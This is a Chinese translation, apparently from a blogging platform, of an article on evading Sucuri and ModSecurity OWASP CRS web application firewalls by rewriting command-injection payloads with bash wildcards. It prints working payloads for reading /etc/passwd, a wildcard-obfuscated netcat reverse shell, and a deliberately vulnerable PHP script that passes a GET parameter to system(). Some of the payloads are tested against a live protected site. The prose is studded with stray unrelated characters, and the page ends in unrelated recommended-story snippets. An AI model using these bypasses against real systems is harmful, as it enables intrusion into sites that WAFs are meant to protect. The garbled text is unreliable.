bypass the waf(一)

前言

我可以用

/???/??t /???/??ss??

讀取你的passwd文件撕攒。享受Sucuri WAFModSecurity茵宪,Paranoia等等waf帶來的的樂趣......

image

ps:mac上好像不太行缤削,按道理應(yīng)該也可以啊。

在Web應(yīng)用程序中發(fā)現(xiàn)遠(yuǎn)程命令執(zhí)行漏洞并不是很少見澄成,并且OWASP Top 10-2017sql inject置于第一個(gè)位置:

當(dāng)不受信任的數(shù)據(jù)作為命令或查詢的一部分發(fā)送到解釋器時(shí)胧洒,就會(huì)發(fā)生注入畏吓,例如SQLNoSQL卫漫,OSLDAP注入菲饼。攻擊者的惡意數(shù)據(jù)可以欺騙解釋器在沒有適當(dāng)授權(quán)的情況下執(zhí)行非預(yù)期的命令或訪問數(shù)據(jù)。

所有現(xiàn)代Web應(yīng)用程序防火墻都能夠攔截(甚至阻止)RCE嘗試汛兜,但是當(dāng)它發(fā)生在Linux系統(tǒng)中時(shí)巴粪,我們有很多方法可以逃避WAF規(guī)則集。滲透測試人員最好的朋友不是狗......它的名字是通配符粥谬。在開始做WAPT之前肛根,我想告訴你一些你可能不了解bash和通配符的事情。

關(guān)于通配符你不知道的事

各種命令行實(shí)用程序使用Bash標(biāo)準(zhǔn)通配符(也稱為通配模式)來處理多個(gè)文件漏策。有關(guān)標(biāo)準(zhǔn)通配符的更多信息派哲,請通過鍵入?yún)⒖际謨皂?code>man 7 glob。不是每個(gè)人都知道有很多bash語法使你能夠使用問號掺喻?芭届,正斜杠/數(shù)字和字母來執(zhí)行系統(tǒng)命令感耙。您甚至可以使用相同數(shù)量的字符枚舉文件并獲取其內(nèi)容褂乍。怎么樣?我舉幾個(gè)例子:
執(zhí)行l(wèi)s命令即硼,您可以使用以下語法:

ls幫助使用/???/?s語法執(zhí)行輸出

使用這種語法逃片,您可以執(zhí)行基本上所需的一切。比方說只酥,你的脆弱的目標(biāo)是一個(gè)Web應(yīng)用防火墻的后面褥实,這WAF有一個(gè)規(guī)則,包含塊的所有請求/etc/passwd/bin/ls GET參數(shù)的值內(nèi)或身體內(nèi)部的POST請求裂允。如果你試圖提出一個(gè)請求损离,/?cmd=cat+/etc/passwd它會(huì)被目標(biāo)WAF阻止,你的IP將被永久禁止并被標(biāo)記為另一個(gè)f *** in'redteamer'绝编。但是你的口袋里有一個(gè)叫做通配符的秘密武器僻澎。如果你很幸運(yùn)(不太幸運(yùn),我們后面會(huì)說到)十饥,目標(biāo)WAF沒有足夠的嚴(yán)格怎棱,來阻止像?/在查詢字符串中。因此绷跑,您可以輕松地發(fā)出您的請求(網(wǎng)址編碼),如下所示:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

使用通配符執(zhí)行/bin/cat/ etc/passwd

正如您在上面的屏幕截圖中看到的那樣凡资,有3個(gè)錯(cuò)誤/bin/cat *:是一個(gè)目錄砸捏。發(fā)生這種情況是因?yàn)?code>/???/??t可以通過整合過程轉(zhuǎn)換/bin/cat或者/dev/net,/etc/apt 等等....

問號通配符僅代表一個(gè)可以是任何字符的字符谬运。因此,如果您知道文件名的一部分而不是一個(gè)字母垦藏,那么您可以使用此通配符梆暖。例如ls *.???,列出當(dāng)前目錄中擴(kuò)展名為3個(gè)字符的所有文件掂骏。因此轰驳,將列出具有.gif,.jpg弟灼,.txt等擴(kuò)展名的文件级解。

使用此通配符,您可以使用netcat執(zhí)行反向shell田绑。假設(shè)您需要在端口1337(通常nc -e /bin/bash 127.0.0.1 1337)執(zhí)行反向shell到127.0.0.1 勤哗,您可以使用以下語法執(zhí)行此操作:
/???/n? -e /???/b??h 2130706433 1337

long格式(2130706433)轉(zhuǎn)換IP地址127.0.0.1,可以避免在HTTP請求中使用.字符掩驱。

在我的kali中我需要使用nc.traditional而不是nc沒有-e參數(shù)芒划,以便/bin/bash在連接后執(zhí)行。payload變成這樣:

/???/?c.??????????? -e /???/b??h 2130706433 1337
image

下面我們剛剛看到的兩個(gè)命令的一些摘要:

標(biāo)準(zhǔn):/bin/nc 127.0.0.1 1337 
bypass:/???/n? 2130706433 1337 
使用的字符:/ ? n [0-9]

標(biāo)準(zhǔn):/bin/cat /etc/passwd
bypass:/???/??t /???/??ss??
使用的字符:/ ? t s

為什么用?而不是*,因?yàn)樾翘枺?)被廣泛用于注釋語法(類似/*嘿欧穴,我是注釋*/)民逼,許多WAF阻止它以避免SQL注入...類似于UNION + SELECT + 1,2,3 /*

使用echo?枚舉文件和目錄涮帘?是的你可以拼苍。該echo命令可以使用通配符枚舉文件系統(tǒng)上的文件和目錄。例如echo /*/*ss*

image

這可以在RCE上使用焚辅,以便在目標(biāo)系統(tǒng)上獲取文件和目錄映屋,例如:

image

但是為什么使用通配符(特別是問號)可以逃避WAF規(guī)則集?讓我先從Sucuri WAF開始吧同蜻!

Sucuri WAF bypass

image

哪種測試WAF規(guī)則集的最佳方法是什么棚点?創(chuàng)建世界上最易受攻擊的PHP腳本并嘗試所有可能的技術(shù)!在上面的屏幕截圖中湾蔓,我們有:在左上方的窗格中有我丑陋的Web應(yīng)用程序(它只是一個(gè)執(zhí)行命令的PHP腳本):

<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);

在左下方的窗格中瘫析,您可以在我的網(wǎng)站上看到由Sucuri WAF(test1.unicresit.it)保護(hù)的遠(yuǎn)程命令執(zhí)行測試。正如您所看到的默责,Sucuri阻止了我的請求贬循,原因是檢測到并阻止了嘗試的RFI/LFI。這個(gè)原因并不完全正確桃序,但好消息是WAF阻止了我的攻擊(我甚至不知道為什么防火墻會(huì)告訴我阻止請求的原因杖虾,但應(yīng)該有一個(gè)理由......)。

右側(cè)窗格是最有趣的媒熊,因?yàn)樗@示相同的請求奇适,但使用問號作為通配符坟比。結(jié)果令人恐懼...... Sucuri WAF接受了請求,我的應(yīng)用程序執(zhí)行了我輸入c參數(shù)的命令∪峦現(xiàn)在我可以讀取/etc/passwd文件甚至更多...我可以閱讀應(yīng)用程序本身的PHP源代碼葛账,我可以使用netcat(或者我喜歡稱之為/???/?c)來執(zhí)行反向shell ,或者我可以執(zhí)行類似curl或wget按順序的程序顯示W(wǎng)eb服務(wù)器的真實(shí)IP地址皮仁,使我能夠通過直接連接到目標(biāo)來繞過WAF籍琳。

我不知道是否會(huì)發(fā)生這種情況,因?yàn)槲以?code>Sucuri WAF配置上遺漏了一些內(nèi)容贷祈,但似乎沒有...我已經(jīng)在Sucuri問過這是否是一種有人參與的行為趋急,以及他們是否配置了默認(rèn)的低等級以避免錯(cuò)誤,但我還在等待答案付燥。

請記住宣谈,我正在使用一個(gè)不代表真實(shí)場景的愚蠢PHP腳本進(jìn)行此測試。恕我直言键科,你不應(yīng)該根據(jù)它阻止的請求來判斷一個(gè)WAF闻丑,而且Sucuri的安全性并不高,因?yàn)樗荒芡耆Wo(hù)一個(gè)故意易受攻擊的網(wǎng)站勋颖。做了必要的說明嗦嗡!

ModSecurity OWASP CRS 3.0

我真的很喜歡ModSecurity,我認(rèn)為與Nginx和Nginx連接器一起使用的新libmodsecurity(v3)是我用過的最佳解決方案饭玲,用于部署Web應(yīng)用程序防火墻侥祭。我也是OWASP核心規(guī)則集的忠實(shí)粉絲!我到處都用它但是茄厘,如果你不太了解這個(gè)規(guī)則集矮冬,你需要注意一個(gè)叫做愛的小東西..嗯對不起妄想癥又犯了!

嚴(yán)格模式

您可以在此處找到的以下模式 很好地概述了每個(gè)級別如何處理“請求協(xié)議強(qiáng)制執(zhí)行”規(guī)則次哈。正如您在PL1中看到的那樣胎署,查詢字符串只能包含1-255范圍內(nèi)的ASCII字符,并且它會(huì)變得更加嚴(yán)格窑滞,直到PL4阻止非常小范圍內(nèi)的非ASCII字符

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

讓我們對所有級別進(jìn)行一些測試琼牧!

PL0

等級0表示禁用了許多規(guī)則,因此我們的payload可以毫無問題地導(dǎo)致遠(yuǎn)程命令執(zhí)行哀卫,這是絕對正常的巨坊。問題不大,不要慌:)

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
image

PL1, PL2

我已將1級和2級分組此改,因?yàn)樗鼈兊牟町悾ㄈ缟蠄D所示)不會(huì)影響我們的目標(biāo)趾撵,所有行為都與下面描述的相同。

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"

使用PL1(和PL2)ModSecurity顯然阻止了我對OS File Access Attempt的請求(930120)共啃。但是占调,如果我將問號用作通配符怎么辦勋拟?該請求被我的WAF通過了:

image

發(fā)生這種情況是因?yàn)椤皢柼枴保?code>正斜杠和空格都在規(guī)則920271和920272的字符范圍內(nèi)。此外妈候,使用問號代替命令語法使我能夠逃避攔截操作系統(tǒng)的常見命令和文件(例如我們的/etc/passwd)。

PL3

這種模式它阻止包含挂滓?等字符的請求超過n次苦银。事實(shí)上,我的請求已被阻止為元字符異常檢測警報(bào) - 重復(fù)非字符赶站。這很酷幔虏!很強(qiáng)的ModSecurity,你贏了一只泰迪熊贝椿!但不幸的是想括,我的網(wǎng)絡(luò)應(yīng)用程序是如此丑陋和易受攻擊,我可以使用較少的問號并使用以下語法讀取passwd文件:c=/?in/cat+/et?/passw?

image

正如你所看到的烙博,只使用3個(gè)瑟蜈?問號我就bypass了這個(gè)級別并讀取目標(biāo)系統(tǒng)內(nèi)的passwd文件。好吧渣窜,這并不意味著你必須始終無條件地將你的等級設(shè)置為4铺根。請記住,我正在使用一個(gè)非常愚蠢的PHP腳本來測試它乔宿,這個(gè)腳本并不代表真實(shí)場景...我希望......你懂的.....

現(xiàn)在每個(gè)人都知道42是生命位迂,宇宙和一切的答案。但是那樣:你會(huì)bypass PL4的OWASP規(guī)則集嗎详瑞?

PL4

基本上沒有掂林,我做不到。范圍之外的所有字符a-z A-Z 0–9都被阻止坝橡!沒辦法......相信我泻帮,當(dāng)你需要執(zhí)行一個(gè)命令來讀取文件時(shí),有90%的概率你需要一個(gè)空格字符或正斜杠.

最后的想法

回到靜態(tài)HTML頁面......這是提高Web應(yīng)用程序安全性的最快方法驳庭!很難說 避免bypass WAF的最佳配置是什么刑顺,或者使用什么waf最好。恕我直言饲常,我們不應(yīng)該信任在Web應(yīng)用程序上均勻分布的規(guī)則集蹲堂。實(shí)際上,我認(rèn)為我們應(yīng)該根據(jù)應(yīng)用程序功能配置我們的WAF規(guī)則贝淤。

無論如何柒竞,當(dāng)你在ModSecurity上寫一個(gè)新的SecRule時(shí),請記住播聪,可能有很多方法可以避開你的過濾器/正則表達(dá)式朽基。所以寫下來我怎么能逃避這個(gè)規(guī)則布隔?

原文鏈接

后續(xù)繼續(xù)把剩下的兩篇補(bǔ)上稼虎,文中有些可能欠妥衅檀,請指出!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末霎俩,一起剝皮案震驚了整個(gè)濱河市哀军,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌打却,老刑警劉巖杉适,帶你破解...
    沈念sama閱讀 218,941評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異柳击,居然都是意外死亡猿推,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,397評論 3 395
  • 文/潘曉璐 我一進(jìn)店門捌肴,熙熙樓的掌柜王于貴愁眉苦臉地迎上來蹬叭,“玉大人,你說我怎么就攤上這事哭靖【叩妫” “怎么了?”我有些...
    開封第一講書人閱讀 165,345評論 0 356
  • 文/不壞的土叔 我叫張陵试幽,是天一觀的道長筝蚕。 經(jīng)常有香客問我,道長铺坞,這世上最難降的妖魔是什么起宽? 我笑而不...
    開封第一講書人閱讀 58,851評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮济榨,結(jié)果婚禮上坯沪,老公的妹妹穿的比我還像新娘。我一直安慰自己擒滑,他們只是感情好腐晾,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,868評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著丐一,像睡著了一般藻糖。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上库车,一...
    開封第一講書人閱讀 51,688評論 1 305
  • 那天巨柒,我揣著相機(jī)與錄音,去河邊找鬼。 笑死洋满,一個(gè)胖子當(dāng)著我的面吹牛晶乔,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播牺勾,決...
    沈念sama閱讀 40,414評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼正罢,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了驻民?” 一聲冷哼從身側(cè)響起腺怯,我...
    開封第一講書人閱讀 39,319評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎川无,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體虑乖,經(jīng)...
    沈念sama閱讀 45,775評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡懦趋,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了疹味。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片仅叫。...
    茶點(diǎn)故事閱讀 40,096評論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖糙捺,靈堂內(nèi)的尸體忽然破棺而出诫咱,到底是詐尸還是另有隱情,我是刑警寧澤洪灯,帶...
    沈念sama閱讀 35,789評論 5 346
  • 正文 年R本政府宣布坎缭,位于F島的核電站,受9級特大地震影響签钩,放射性物質(zhì)發(fā)生泄漏掏呼。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,437評論 3 331
  • 文/蒙蒙 一铅檩、第九天 我趴在偏房一處隱蔽的房頂上張望憎夷。 院中可真熱鬧,春花似錦昧旨、人聲如沸拾给。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,993評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽蒋得。三九已至,卻和暖如春粘拾,著一層夾襖步出監(jiān)牢的瞬間窄锅,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,107評論 1 271
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留入偷,地道東北人追驴。 一個(gè)月前我還...
    沈念sama閱讀 48,308評論 3 372
  • 正文 我出身青樓,卻偏偏與公主長得像疏之,于是被迫代替她去往敵國和親殿雪。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,037評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 官網(wǎng) 中文版本 好的網(wǎng)站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,383評論 0 5
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理锋爪,服務(wù)發(fā)現(xiàn)丙曙,斷路器,智...
    卡卡羅2017閱讀 134,660評論 18 139
  • Ubuntu的發(fā)音 Ubuntu索抓,源于非洲祖魯人和科薩人的語言,發(fā)作 oo-boon-too 的音毯炮。了解發(fā)音是有意...
    螢火蟲de夢閱讀 99,277評論 9 467
  • 大兒今天可能是吃的東西太雜了逼肯,胃不太舒服,一個(gè)小時(shí)內(nèi)吐了兩次桃煎。大夫給看了看篮幢,沒什么大礙,但是建議晚上不讓吃東西——...
    Joanne_fa80閱讀 280評論 0 1
  • 最近有些思緒为迈, 是想你的心情三椿。 我懵懂的感情, 有沒有感染你葫辐。 那天赋续,我們相見。 心跳占據(jù)我的思維另患, 快無法呼吸纽乱。...
    厚積薄發(fā)y閱讀 140評論 0 2